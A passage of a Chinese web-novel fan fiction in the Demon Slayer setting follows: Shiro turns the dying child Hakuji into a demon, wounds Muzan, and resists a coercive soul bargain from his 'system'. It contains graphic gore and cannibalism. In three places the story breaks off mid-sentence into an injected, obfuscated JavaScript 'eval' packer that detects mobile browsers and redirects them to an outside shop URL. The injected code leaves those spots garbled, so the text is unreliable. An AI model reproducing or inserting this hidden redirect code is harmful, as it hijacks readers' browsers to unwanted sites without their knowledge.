血糊住了湛蓝的眼睛,额头上的大洞近乎占据了1/3的头颅,空荡荡的,甚至能透过洞口看到自己垫在狛治脑后的膝盖被血染红。 “对不起。” 终于轮到我说这句话了。 狛治开心地笑,呛出一口血来。 他这一辈子听过好多好多声对不起。 他不懂他们有什么好对不起的。 终于……终于轮到我说这句话了。 终于不是我听别人道歉了。 “喜欢……” “白城,喜欢……” “我……” 白城整个人都在抖,攥住狛治的手,能感受到生机在迅速流逝。 别动…… 就这样别动…… 无惨他们快走了…… 等他们出去,自己就能把狛治变成鬼…… 白城蜷在地上,脊梁深深佝偻着,把狛治搂在怀里。 就这样别动,就能活下去。 只要别动,就这样什么也不做,就能活下去。 攀着自己手指的力道越来越弱,怀里的身体越来越凉。 鼻尖浓郁的血味盖过了喂了很久的奶香,明明昨天这双手还搂过自己,昨天还抱着膝盖蜷在高大的长阶上看着街边转角,望眼欲穿等着自己归家。 他见过狛治在书房门外,惴惴不安地抱着新写的名字,一遍遍展开,又一次次卷起,最后扭头又回了屋子。 见过狛治用小手扒拉下黏在牙上的团子。 监狱那一晚,小孩睡着睡着,倒在自己肩头,脸颊随着呼吸起伏着,白城侧头就能看清他脸上细小的绒毛。 他才11岁。 还没有长大。 甚至还不如原著,至少原著的狛治快快乐乐地活到了十八。 至少原著的狛治长大成了人。 我养了那么久的孩子。 我想他快快乐乐健健康康长大的孩子。 我舍不得把他变成鬼的孩子。 此刻头上破了一个洞,正在死去。 白城垂着头颅,手在满片的血液里,摸索到日轮刀。 黑刀出鞘,铮铮金鸣。 白城把人放平在膝盖上,缓缓举起自己的手腕,而后狠狠斩了下去。 噗—— 一整个左手啪嗒一声落在狛治胸口,鲜血从手腕的平切面爆了出来,白城垂着头,任由鲜血一点点流淌在狛治嘴里。 “咽下去。”他轻声说,“对,就这么喝。” 求生的本能促使着狛治的喉结吞咽。 白城轻轻抚着他的头发,看着小孩的呼吸逐渐平稳,洞口快要死去的细胞又再一次开始繁殖出肉芽。 无惨早在白城抽刀的一瞬便停下了脚步。 【系统,我最后跟你确认一遍,新手保护期还在。】 不可见的蓝光以最大功率输出,镀在白城的血液之上,遮住了能让所有鬼抖疯狂的异香。 白城把狛治平放在地上。 孱弱的身体因为失血过多,起身时摇晃了两下,血液顺着刀尖一点一点地往下坠。 “居然是鬼吗?”无惨的蛇瞳兴味地眯起来,耳侧自然卷曲的刘海随风而动,“真弱小啊,连再生都做不到的鬼吗?” “不过很有趣,世界上除了我之外,还有另一只鬼。” 早已散落的白发遮住了瞳色,白城提着刀,一点一点地朝着无惨走。 一脚一点血色。 【检测到宿主成功转化一只鬼。】 【技能——坐山高发动。】 【鬼名:狛治】 【武力值:78】 【敏捷度:76】 【智力:43】 【综合转换能量值:197点】 【宿主面板:38】 【力量:5】 【敏捷:1】 【耐力:3】 【请自由分配加点。】 白城一点一点地朝无惨走,握在手里的刀一点一点地镀成赤红。 他在脑海里关闭了属性面板,点开商城。 琳琅满目的一次性道具摆在眼前。 他一下子把进度条拉到最后。 最后一列的货架上只陈列了一件商品——技能:偷天。 【技能描述:偷天换日,可复制任何人0.001秒。】 白城把购买数量拉到了最大。 【宿主你疯了!】 【这是能加到属性面板上的能量值!】 【属性哪怕只提升一点,都对你的能力有极大提升!】 【对战无惨根本不急在一时!】 【等你收服更多的鬼,技能面板就能接近无惨,甚至超越他!】 【到时才是我们的主场!】 【宿主!你冷静!冷静一下!】 【只是一个狛治而已!】 “鬼舞辻无惨——”白城充耳不闻,缓缓长出来的左手搭在右手,双手持刀,向无惨发起了冲刺,“你把生命!当成什么了!” 无惨站在原地没动。 【请宿主确认复制对象。】 【继国缘一。】 刀尖即将砍下脖颈的一瞬,白城狠狠点下了确认键。 赤色的刀身发烫,眼前的世界慢了下来,烟灰色的瞳孔睁大,甚至能看清无惨体内血液的流向。 很轻,很静的感觉。 他轻轻挥动着刀柄,一下,两下。 【警告!!警告!能量值急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570659|182609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速下降!!!】 【能量余额:186】 【173】 【132】 【98】 能量值在燃烧,系统界面的数字甚至变成了一团模糊的黑渍,再也看清不能。 197点能量值,只能换0.197秒。 白城不知道0.197秒的缘一能对无惨造成多大伤害,他只知道现阶段197点属性值对战无惨杯水车薪。 愤怒,愤怒烧到了脑子里。 他养了整整一个月的小孩,还没能长大。 刀光在0.1秒内斩切上百次。 白色的头发从发尾开始染得黑红。 无惨呆滞在原地,移动不能。 恍惚间他看见了百年前那个名为继国缘一的男人缓缓举起了刀。 皮肤被划破,肌肉也破了,血液从身体里不受控地迸溅出来。 时刻烧灼的伤口再一次被熟悉的刀刃切开。 刀风将黑冠斩碎,刀尖触碰到自己的心脏。 书房内,狛治的脸颊缓缓长出黑色的条纹,一双湛蓝的眼睛被金色填充,鲜血顺着地面浸湿信纸。 【今天太阳很好,阳光落在床边的时候,我把刀插入了自己的心脏。】 【它很锋利,我很开心。】 【其实,在您说锻一柄能杀鬼舞辻无惨的刀的时候,我就很开心。 您给了我一个理由,一个欺骗自己再去锻刀的理由。 杀死鬼舞辻无惨,多么崇高的理由啊。 这些年,我锻不动刀,每次碰刀,刀身寸断的模样就浮在眼前,恍若昨日,我不能再去害人。 我活不了,也死不了,因为我答应了他要成为世界第一的锻刀师,所以我还不能死。 我开了家打铁铺,但没有活。 后来也学着虎子的模样,细声跟人说话,试着耐着性子沟通。 再后来随着跟人交流越多,就越来越圆滑了。 也就能理解,竹林那一晚,虎子为什么不开口了。 日复一日,基本功其实都在练。 哪怕这十年间也没有懈怠。 这把刀,是我这辈子最后也是最满意的作品。 现在我终于能走了。 命运放过我。 不论如何。 总之,放过了我。 也许是一只胆小鬼的逃跑,但总之我要去见他了。 拿着这柄刀,去砍鬼舞辻无惨吧。 祝君武运昌隆,万事顺遂,平平安安。】 铁牛半靠在床边,遮着刺眼的阳光做了一个梦。 梦里他跟虎子还在山坡上奔跑,撒开丫子漫山遍野地跑。 一个喊着,“我要锻全天下最锋利的刀!” 另外一个小声补充,“那我就锻全天下最耐用的刀!” 答应你的,我做到了。 答应你的……我做到了。 真希望……能成为天下第一的锻刀师啊。 要是…… 手落了下来,布满老茧,被一直牢牢攥在手心里的半天狗面具嗒一声滚落在手边。 恍惚中看到了虎子来接自己。 铁牛扯开胸口,跟虎子炫耀自己的伤口,“看!我锻出来的天下最锋利的刀!” “欸——真的很锋利呢。”虎子弯腰去看,有些怜惜地伸手摸了摸伤口,“一定很疼吧?” “我得带给你看啊,带给你看了,你才知道我没有食言。” “我有为了成为天下第一的锻刀师而好好努力噢。” “我就知道你一定能做到。” “填稻草能不能把伤口堵住啊。”虎子思考。 “真不疼。”铁牛抓住了虎子,“没有漫长的岁月疼。” 他说——对不起,那一天我的刀断了,对不起没能救下你。 “没事的。”虎子踮脚把痛哭流涕的铁牛拥进怀里,“我不怪你。” 赫刀极利地划破无惨的第一颗心脏,第二颗心脏,第三颗,第四颗。 最后一颗—— 嘭! 20. 血月 血液在无惨体内错综复杂的筋络里急速涌动,刀尖堪堪触碰到最后一颗心脏的瞬间——原本向心脏输送的血液嘣地分裂,大小不一的肉瘤在体内迅速团聚。 无惨精致的脸颊扭曲一瞬,而后嘭得一声炸成漫天血块! 逃! 逃! 逃! 那个男人又回来了! 无惨瞳仁在眼眶里颤动,身体上1700多道伤口日夜烧灼,那个男人的气息时时刻刻浸透在身体的每一块血肉里,他不会认错! 逃! 近乎意识到的一瞬间,无惨不惜将身体裂分成2000多块。 没有任何反抗的意识,大脑里只剩下一个字——逃! 我要活下去,我不能死! 上弦二在不在场,弱小的鬼为什么发出缘一的气息,这些旁的要素都不在无惨的考虑范围内。 嗅到缘一的气味就逃,这是刻在基因里的生存法则。 成千上百的血色肉块一瞬间漫天飞舞,在月色下炸开,扑向院落外墙,而后蠕动着肉瘤向阴翳处逃离。 几息之间便消失不见。 于是也没能看到高高跃在空中的白城,手腕骤然脱力,下一秒日轮刀落地发出清脆一声哐响。 肺,像火一样在烧,双耳听不见任何声音。 整个世界都好像蒙上一层血色的雾。 连呼吸都在渗血,肺和身体根本撑不住日之呼吸,哪怕只是短短0.197秒就已经让白城的身体器官接近报废! 白城重重砸落在地上,只见抽动一下想要动弹,却一瞬间咬紧了牙关。 身体到极限了,全身的肌肉都在抽搐,浑身上下失去了知觉。 嗓子啼血,从呼吸道到口腔到鼻腔都是刀割般的痛,五脏六腑都像在被烈火焚烤,血腥味萦绕着五感,像是堕入无间地狱。 好痛。 好痛。 好痛,我想回家。 【我就说嘛!宿主!】 【好不容易转换一只这么强有潜力的鬼!197点能量值啊!能提高你多少属性!】 【根据系统估算,只要攒够5000点能量值就跟无惨有着一战之力!】 【蛰伏下去不好吗!何至于此!】 【现在你能不能活都说不定!】 【鬼那么多!何必此时打肿脸强出头!】 因为他是狛治。 因为他是狛治, 所以我不后悔。 我只是觉得很痛,好痛,痛得想要死掉。 白城瘫在地上,想要蜷缩起身体,但只要稍稍动弹血就呛进肺里。 白城从不是娇生惯养下长大的孩子,但人生路上从来没有历经过这次痛苦的万分之一。 【197点能量值啊!】 【你知道之前的宿主收服一只鬼只能获得多少吗!】 【一般一只鬼是0.5到3,攒杀死无惨需要的5000点能量值要攒到猴年马月!】 【这可是197点,有了这个加点,我们就能去收服更强的鬼,我们就有了原始资本!】 【你知道原始资本有多难攒起来吗!所有的宿主都先天性体弱,杀死一只最末等的鬼都要我倾囊相助还要看天的脸色。】 【在你之前的362名宿主,能突破10点能量值的十不足一!】 【而能积攒到百点能量值身家的百不足一,唯有三人!】 “既然只有三人,那就闭嘴。” “无惨逃了,不是吗?” “至少这一次交锋,我胜了,我还会一直一直永远地胜利下去。” “你个失败者的系统就给我闭嘴!” 【我只是觉得不值。】 “有东西比利益更重要。” “比衡量更重要。” 白城当然知道蛰伏是更好的选择,0.197秒一定不能杀死无惨,但一旦没有伤到无惨,一旦无惨没有在0.197秒内落荒而逃,那么白城面临的就会是比死更可怕的地狱。 他知道,他当然知道。 理智绷紧了脑子里所有的弦伴随着身体对死亡的畏惧本能,无数遍地在脑海里叫嚣——忍一忍,忍一忍就过去了!现在还不是时候。 但手背离了本能,也背离了理智。 【为什么?】 “心气。” “少年心气。” “我只知道我今天在这里但凡退了半步,那日后不论我手头有多少点能量值,不论我成长成多么强大的人,甚至比鬼舞辻无惨还强大百倍千倍的人,我依旧是那个抱着狛治尸体,一无所有的胆小鬼。” “我不能退。” “为了自己也好。” “为了狛治也好。” “为了之后的那群小鬼也好。” “哪怕前方踏入阿鼻地狱,我也要拔刀。” “让你闭嘴不是在凶你。”白城试图跟系统交流来转移注意,分散身体近乎散架般的痛苦,“我可以理解你想要杀死鬼舞辻无惨的心。” “忍耐确实是最经济的选择,却不会是我的最好选择。” 【我不同意!没有什么比性命更加重要!】 【从概率学来说蛰伏才能导向胜利。】 “人生不是概率。” “人生是偶然中的必然,人生只有一条路。” “而当下能做的所有选择,都不过是局部最优解。” “风云变幻,对的可能变成错的,错的可能变成对的,既然如此,何不遵从本心?” “更何况,无惨败了,这一战是我们胜了。” 【这次的运气占比有多大?以后也能一直胜利下去吗?】 “不,只是别无选择。” 别无选择,所以哪怕风吹草动都要底牌尽出,每一步都要把大脑,身体,器官,乃至灵魂压上赌桌。 时间是一条漫长的河流,但走到命运的赌桌前,没有人在乎你是否积攒够了足够多的筹码。 唯一能做的,只是笑着接牌,把脑袋和身家性命押上杠杆,虚张声势,靠着理智和命运垂怜,去撬动那一线生机。 “至少我们赌赢了,不是吗?”白城勾勾唇角,又呛出两口血来,“命运的女神站在我这边!” 倒在庭院的身体苟延残喘,像是下水道里残破不堪的破布,可灵魂依旧畅意。 畅意这场胜利。 畅意败者的逃亡。 畅意自己面对死亡敢于拔刀的勇气。 身体很痛,但灵魂昂扬。 直到阴影自上而下,打落在身体,也打落了灵魂。 上弦二自院落角落走来,还是那身简装,黑发高高束在脑后,此刻随着弯腰的动作滑落在白城身上。 “无惨大人的哥哥?”稚澄意味不明地勾着唇角,华丽的嗓音戏谑又嘲讽,“劣等品的血液?” “可是怎么现在,劣等品高高在上,您却狼狈至此呢?” “血呛进肺里,换做劣等品可眨眼就恢复了,您这般半死不活的,能挺过来吗?” 白城没有余力动弹,说不出一句话,眼球布满鲜红的血丝,视网膜里都是一片血雾的阴翳。 上弦二意味不明地看着,走近摸了摸他的脸颊,“下次见甜心。” 而后缓缓走出了庭院。 白城不知道他在想什么,但至少没有动手。 绷紧的神经骤然一松, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590081|182609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肾上腺素和血清素顿时失了作用,骨头被活生生拧开重组的痛席卷而来。 白城躺在地上,独自忍受着。 身体的细胞在修复,虽然缓慢,但本质上他还是一只鬼,一只有着再生能力的鬼。 熬一熬,不会死的。 等一等,就会好的。 静心。 白城在无边痛苦里,找寻着自己呼吸的节奏,渐渐地耳朵恢复听觉,能听见晚风浮动树叶的清响。 一浪接一浪,林声涛涛。 直到内室传来一声响动。 啪得一声,像是铜镜破裂的声响。 狛治! 白城想起来,狛治怎么样! 我喂了那么多血,他应该不会有事! 他努力往那个方向看去,但视野受限,什么都看不到。 丑,好丑,镜子里的丑鬼是谁? 我吗? 狛治抬手去蹭脸上藏蓝色的环形纹路。 蹭不掉,怎么都蹭不掉。 他越来越暴躁,于是指头弹出漆黑的尖甲,恶狠狠地对着纹路划开,划破,划得那一块皮肤连着血肉被整块揭下! 糟糕,把眼球一块抠下来了。 尖锐的鬼牙黏着涎水拉丝,唾液在不断分泌,于是顺手把扣烂的肉混着眼球丢进嘴里,嚼吧嚼吧咽了下去。 眼球挺脆的,喉结一滚,肉不好吃,粗糙。 好饿,我要食物。 什么味道? 好香。 眼球重新从眼窝里长了出来,他正准备往外走,余光发现镜子里的人面上肉球蠕动,下一秒本鲜血淋漓的烂脸上重新长了新肉。 而藏青色的墨痕仍在。 心烦意乱,干脆一拳捣烂了镜面,炸开的碎片折出无数个角度的猗窝座——樱发金瞳,精壮矮小,还有裸露在皮肤表面的,如同附骨之疽的墨渍。 外面好香,是这个人的味道吗? 想吃,好想吃。 狛治咽了咽口水,一步接着一步地往庭院走。 少年一步步踏着熟悉的鹅卵石,逼近他的养父。 好香,好香,成吨的口水从口腔打湿牙龈,淌下下巴打湿衣襟。 “狛……治……”嗓子里冒出喑哑的片段,却没法连成句子,嗓子好痛,像被火烧过一样。 白城突然想到原著珠世小姐变成鬼的那天,杀死了自己的孩子。 身体动起来,动起来! “系统,还有手段吗!” “让我动起来!” “到狛治找不到的地方去!” 不能让狛治吃了自己! 至少不能让狛治吃! 他才十一,才刚刚卸下灵魂的重担,刚刚拥有堂堂正正的人生! 要是醒来意识到吃了白城,他的人生又会停滞的! 【有,但您已经没有积分了。】 【我很抱歉。】 “抱歉你个大头鬼!给我想办法!有用一点啊!”白城看着步步逼近的狛治目眦近裂。 【您愿意跟我做一场交易吗?】 【把您的灵魂贡献给我。】 【我就可以帮您。】 昂扬的灵魂,勇敢的灵魂,系统的数据体同样也在流口水。 很香,真的很香。 “放你的狗屁!”纵使白城也不住爆出粗口,他感觉自己像是放在砧板上的猪肉,成了货架上的商品,所有人都想来分上一杯羹。 【既然交易,便会公平。】 【还望您谨慎思考。】 脚步声越来越近。 少年金色的瞳孔已然进入视野,贪婪的垂涎的,在黑夜下发着刺眼的光。 21. 筹码与自由意志 白城眼睁睁看着沾血的脚印越来越近。 冰冷的兽瞳垂涎欲滴,狰狞的鬼牙像是上等利器,狛治喉咙里冒着不明的嗬嗬声,熟悉的带着婴儿肥的白皙脸颊上布满了藏青色的墨迹,裸露在外的皮肤覆盖着大片纹身,什么都没有改变。 什么都没有改变。 【早就让你转化他,何必妇人之仁?】 冰冷的文字浮现在脑海里,是系统在放马后炮。 【提前一个月转化狛治,远不会如此狼狈。】 【况且,有区别吗?】 【他还是在11岁就成了鬼,还是没能如你所愿健康长大到18岁。】 【还害得你自己落得如此境地。】 【先跟无惨赌命,再来跟我交易。】 【多可悲啊?】 【宿主,我要提醒你。】 【你不是救世主。】 【善良、慈悲、怜悯、这些品质不是你所需要的。】 【你要做的,只是在这个充斥着鬼的世界,好好思考作为靶子该怎么活下去。】 【世界是残酷的。】 【好在有我陪在你身边。】 系统在耳边低声引诱。 【答应这笔交易吧,相信我,不会有比这更加划算的交易了。】 【您是有潜力的宿主,这是我对您所付出的诚意。】 【只要答应,您不会死掉,狛治也不会内疚。】 【一切困厄都不会发生,明天太阳升起又是平凡幸福的一天。】 【我也不会插手您生前的一切,鬼的寿命如此漫长,而您只需要在死后将灵魂交给我就好。】 【这笔交易很公平。】 狛治,不,猗窝座一步一步,拖沓着向白城走来。 【宿主,您想好了吗?】 【机会可不等人。】 【同意不仅能活下去,还能继续拯救可怜的狛治。】 【付出的不过是死后的灵魂。遥远的、无伤大雅的、微不足道的灵魂。】 系统循循善诱。 而白城只是死死盯着狛治,试图从他的肢体里、眼神里,找到当初那个熟悉的影子。 倔强的,羞赧的,持之以恒的,善良的,怎么样都好,任何一丝旧日的气息都行。 但没有。 无惨的手再一次捅穿了他的脑中枢,黄金瞳里除了冰冷的残忍,就是陌生的食欲——对自己的食欲。 白城在餐桌上吃过很多的猪牛羊,从没想过这样的眼神有一天会落在自己身上。像是被鬣狗逼到角落的羚羊幼崽,在瓮中徒劳咩叫。 他想要叫狛治,叫狛治清醒一点,叫狛治一定能克服自己的本能。 但他说不出话来。 细胞的修复很慢,慢到令人发指,喉咙至今仍像卡着上万根钢刺。 【宿主,是时候该做选择了。】 【您想要活下去,对吗?】 系统说得对。 他不能死。 不能死在这里。 不能死在狛治的嘴里。 不然之前所做的一切都看起来像个笑话。 会沦为彻彻底底的小丑。 白嫩的脚被砂石磨破,鲜血还未溢出,伤口便已愈合。 猗窝座走到白城身边,低头往下看,金瞳闪烁着兴奋与食欲,口水一滴滴砸落在白城脸上。 白城眼睛一花,腰腹传来一股大力,猗窝座跪坐其上卡住他的身体,再眨眼,视野里只有那双近到咫尺的黄金瞳,还有墨痕之下大开的血口。 猗窝座像是觉得猎物低头的动作阻碍了他进食,于是手掌毫不留情地卡住白城的下颚,粗鲁地将他头颅往后压去。 涎水一滴一滴砸落在敏|感脆弱的脖子上,白城大脑一片空白。 浑身的肌肉失了控制,寒毛耸立,头皮发凉,是脑袋卡在铡刀下的瞬间,是被野兽咬碎前的恐惧,是人类进化时保存在基因里的底层代码。 猩红的舌尖自眼前一闪而过,而后便是血盆大口直奔颈部动脉而来。 【快做决定!!!!】就连系统都紧张地冒出电音。 同意,同意,同意! 快点同意! 命悬一线。 身体服从于本能,每一个细胞都裹挟着同意的意志奔涌着往外冲,身后死亡威胁像潮水一样涌来,喉咙上下滚动,嘴唇上下交合,只要松口音节就会冒出来。 但大脑充当了最后一道阀门,用摇摇欲坠的理智死死咬紧了牙关。 【宿主!!!】 生死一线间,一切都仿佛放慢了。 视网膜上还停留着上一秒的画面——大张的嘴和锋利的牙。 死后的灵魂和被吃的命运。 遥远的未来和眼下的痛苦。 孰轻孰重,一目了然。 系统想不到猎物出逃的理由。 坚硬的獠牙触碰到了柔软的皮肤,大脑已经提前幻视出喉骨被洞穿的痛,头因为过度向后弯折而充血目眩,视野里除了不染尘埃的血月只剩下狛治樱红的硬发。 动脉送进猗窝座的嘴里,突突直跳的脉搏能感受到鬼齿的锋利,但白城死咬着牙关,盯着视野下半区狛治的头发。 沉默代替他做出了选择。 牙关合上的一瞬,猗窝座若有所感地抬头,对上了那双烟灰色的眸子。 他的脑子里突然蹦出一年盛夏,他被无数的棍棒压着跪在地上。 一柄精巧的折扇轻轻叩地,再一抬头,温凉的食指便轻抵在他唇上。 他记得唇间温凉的触感,记得那一双眼睛,那双烟灰色的,温柔似水的眼睛。 近乎下意识的,他收起了自己的獠牙,粗糙的手指摁上积在白皙脖颈上正缓缓下淌的口水,而后均匀地涂抹开。 鼻尖依旧是诱人的香气,对于一只崭新的鬼来说无可抵御的香气。 他有些依依不舍地噬咬轻啃,又在身下的躯体因为不适而略有弹动的时候,迟疑地伸出舌尖轻舔。 像是小兽用口水治疗人类那样。 啃咬、轻舔、反反复复、犹豫不决。 眼里对食物的饥渴,转而变为求而不得的愤恨,以及饥肠辘辘的可怜。 锋利的鬼牙揪着外层皮肉相互磨了磨,最后还是没能舍得咬合洞穿。 他有些愤愤地把脑袋埋在白城颈间,鼻尖像小狗那样深嗅着,仿佛望梅也能止渴,气味也能果腹。 最后的最后,因为虚弱,他趴在白城的怀里不再动弹,找了个熟悉的位置,蜷了上去。 一如同眠那夜。 五分钟、十分钟、白城的精神再也支撑不住,眼白一翻,晕了过去。 而怀里的猗窝座似乎想到了什么,抬头往上够够,轻轻地往白城脸颊啄了一口,像风一样,轻轻擦过,“喜欢……白城……喜欢……” 此刻庭院寂静,唯余林浪风声,不似粥场门庭嘈嘈切切,可狛治一如既往地羞郝,整个人又往白城怀里蜷了蜷,睡了一会又把他的手臂拉到自己身上,环住身体盖住肚脐眼,才噙着不满沉沉睡去。 头顶高悬的明月,静静地照着一大一小相拥睡去的两鬼,蚂蚁爬过小鬼的手心里牢牢攥着的荷包。 上面绣的白兔一半白一半黑地濡湿在小小的掌心,可那双红色的眼睛还是亮晶晶的。 人的一生中会做出很多的选择。 白城不喜欢把命运放在别人的掌心,所以询问系统手段。 他以为他们是一体的蚂蚱,可系统却回馈一场交易,交易天平两端自顾自地放上了白城的性命与灵魂。 于是白城只能退而求其次,设立一个新的天平,一个掌握在自己手里的天平。 天平两端——一端狛治,一端系统。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599009|182609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 孰轻孰重,一目了然。 他们实实在在在一起生活了整月,实打实的相伴,七个夜晚的同眠,绝望中的初遇,踮起脚尖的轻啄,时刻挂念心尖的人,他们理应存在信任。 是我亲手扶成的小树,亲手养了一个月的孩子。 比起来历不明,不由分说就寄宿在别人体内的可怜虫,自然还是我的狛治更值得信赖吧。 白城要做的一切,只有强行按捺住求生的本能,按捺住基因里的那份对生的渴求。 人会下意识地选择眼前看似好走的路,宽门和阔路不一定引向沉沦,可窄门里充满了真实的日夜。 不论如何,他付出的爱是真的,眼前的人是真的。 而向来只爱锻炼的狛治,每每听说城里新开了糕点店,就会作为最早一批客人故作顺路带回的糕点也是真的。 真实的爱,流动的爱,藏在相处的每一个细节里的爱,都是真实的。 他自然选择狛治,选择相信。 相信狛治本为人杰,能克服鬼的本能。 相信狛治不论变不变鬼,都是那个善良的孩子。 那个可以为了老爸,不惜背上一切,宁愿赴死的孩子。 他怎么会舍得伤害我? 身体还没醒的时候,白城的灵魂出现在一片静默漆黑的空间。 唯一的光亮是系统像果冻一样的身体。 白城站在漆黑的远方,没有被背刺的愤恨,只是平静道,“我平生最恨的就是威胁。” “你本有机会好好跟我说话的。” 黑色的鎹鸦盘旋在町奉行所上,绿豆大的小眼注视着庭院两鬼的情况。 同一时间,整座江户,上百只鎹鸦振翅冲天,在漆黑的高空捕捉着无惨碎片的位置。 “鬼舞辻无惨——战败!” “鬼舞辻无惨——战败!” “鬼舞辻无惨——战败!” 驻扎在鬼杀队的辛级队长当机立断,决定回本部复命。 “虽然不知道发生了什么,但一定出现了重大事情!”朴琢打好行囊,挂上日轮刀,“你留在这里,努力打探消息,我回本部复命。” “鎹鸦不是已经去了吗,脚上也绑了信件交代缘由的信件。” “我不放心。”朴琢抓住了队友的肩膀,“鬼舞辻无惨上一次重伤还在百年前。” “而后的猎鬼人损失惨重,抓不到半点无惨的消息。” “你知道眼下的局势意味着什么吗?” “大变局意味着我们这一代猎鬼人可能真能继承先辈的遗志,把鬼舞辻无惨斩杀在我辈。”朴琢声音冷决,杀气四溢,“功在当代,利在千秋。” 许久,默然道:“我们可能真能给孩子们创造一个没有鬼的美好世界。” 两人对视一眼,点头致意,朴琢翻身上马,策骑疾行。 与此同时,珠世截下绑了信件的鎹鸦,将其轻柔地塞进笼子里。 拆开信纸,鬼舞辻无惨溃逃的字样分外扎眼。 滔天恨意席卷而出,震得手抖。 终于,终于又等到了这一天! 珠世立马回头整理桌上的药剂,包裹打好才想起鎹鸦还被关在笼子里。 把信纸囫囵一折,思绪一顿,转去桌边抄印一份,而后把原件原封不动捆上鎹鸦腿上。 “去吧。” 黑色的羽翼在月光下直掠长空,往产屋敷一族而去。 这一夜,无惨受伤溃逃的消息传遍世界。 鬼、珠世与鬼杀队三方同时震动,潜流汇合,形势骤变。 错综复杂如死水一般被框定好的世界线,自狛治这根弦的波动而产生偏移,一切开始向白城集中聚拢。 自此,棋子有了自由意志的筹码。 自此,白城才真正踏上这命运的赌桌! 风云皆聚汇于此! 22. 约定 赤红的彼岸花迎风摇曳,忘江的水一路东流。 草千里的大雾迷了眼,狛治站在这头,老爸站在那头。 “老爸!是你吗!”狛治惶惶想要往前走,脚却仿若陷在流沙里,低头挣扎半天不得,只能手作喇叭状大喊,“身体还好吗!还会咳嗽吗!” 长风吹散迷雾,父亲常年披在身后的羽织在风中卷着。 “我没有再偷窃了!”狛治朝老爸挥手,“我被一个很好很好的人收养了!” “雨灾饥荒的时候,我还有给人分粥,大家都很感激我!” “町奉行所的大家也都很友善!” “老爸!” “我有遵守跟你的约定噢!” “有一直一直为了履行约定好好活下去噢!” “有按照你说的,在堂堂正正地好好活着噢!” 天空突然落了一滴雨水,砸在脸上。 狛治抬头讶异地看,紧接着暴雨便接踵而至了。 像一盆大水浇下,淋得人透心凉,湿漉漉黏在皮肤上的衣服被狂风一卷,卷得人不住哆嗦。 直到这时满眼父亲的狛治,才意识到眼前的一切,像是书上说的忘川。 “哦对……我好像死了。” 怎么死的呢? 记不清了。 脚下的泥淖松动了,狛治努力试图把腿拔出来,一边看着对岸的老爸跟他说话,“老爸!能再见到你真是太好了!” “我还怕见不到你,他们一直说偷窃会下地狱。” “这里是天堂还是地狱?” “不论如何我们还在一起,真是太好了!” “老妈也在这里吗?你有遇到她吗?!” “有找到她,跟她说话吗?!” 腿终于从泥潭里拔了出来,狛治一喜,小腿哼哧哼哧就往岸边跑,“老爸你说不了话吗?” “老爸你能听见吗?” “老爸我好想你!” 再一阵大风袭来,卷起忘川底下一条条透明的鱼,砂石迷了眼,再一睁,眼前的一切都不见了。 町奉行所,书房,床上。 小刀剜掉指尖的一块肉,小孩舌头一卷就嚼吧嚼吧咽下去了。 指尖涓涓的血往狛治嘴里流着,喂了近半分钟,手指的肉才堪堪长全。 系统没有说话。 白城也没有,只是面无表情地搓了搓指尖新长出来的肉,揉了揉小孩樱粉色的硬发。 在做什么梦呢? 笑得这么开心。 “咚咚咚。” 有人敲门。 白城把帘子放下,把沾了血的小刀用帕子裹着塞进柜子,才走到外室,拉开木门。 “刚看你屋里没人,我就知道你小子今天又来奉行大人这里蹭床了。”小黑满脸笑意地念念叨叨,等抬头发现是白城,一时间有些惊讶,“白城大人,今天怎么是您?” “我给您送水呢,狛治在您这里吗?” “在睡懒觉吗?好难得啊。” 小黑左看右看。 “嗯,在我这。”白城身体消瘦,满是病气,勉力扬了个笑来,“水给我就好。” “我给您送进去吧。”小黑把水递给白城,意外碰上白城手指,发现一片冰凉,面露忧色,“您身体还好吗?昨天看还没有这么憔悴。勤政当然重要,但您保重身体才是更重要的。” “嗯,我知道。”白城点头,将水盆放在门口的架子上,而后合上了门。 屋里的景象捂得严严实实,一点没让小黑看见,害得小黑走的时候有些摸不着头脑,总觉今天奉行大人有些奇怪。 “叫厨房今天炖只老母鸡补补吧。”小黑思考。 木门吱呀合上了,屋内的光线又暗了下来。 白城端起水准备往内室去。 却被跪在地上的人挡住了去路。 那人叫他,“白城大人。” “狛治?”白城不可置信。 “您在叫谁?”猗窝座垂眸盯着地面,没有抬头。 无惨摧毁了他的脑中枢,鬼的血液让他认同鬼的身份,如果说昨夜身体还有狛治的本能残留,今天已经彻头彻尾是鬼的形状了。 “猗窝座。”白城声音有些颤。 “在。”猗窝座果然应了,惜字如金。 以前的小孩不是这样的,小孩虽然刺头又爱害羞,但话却是多的。 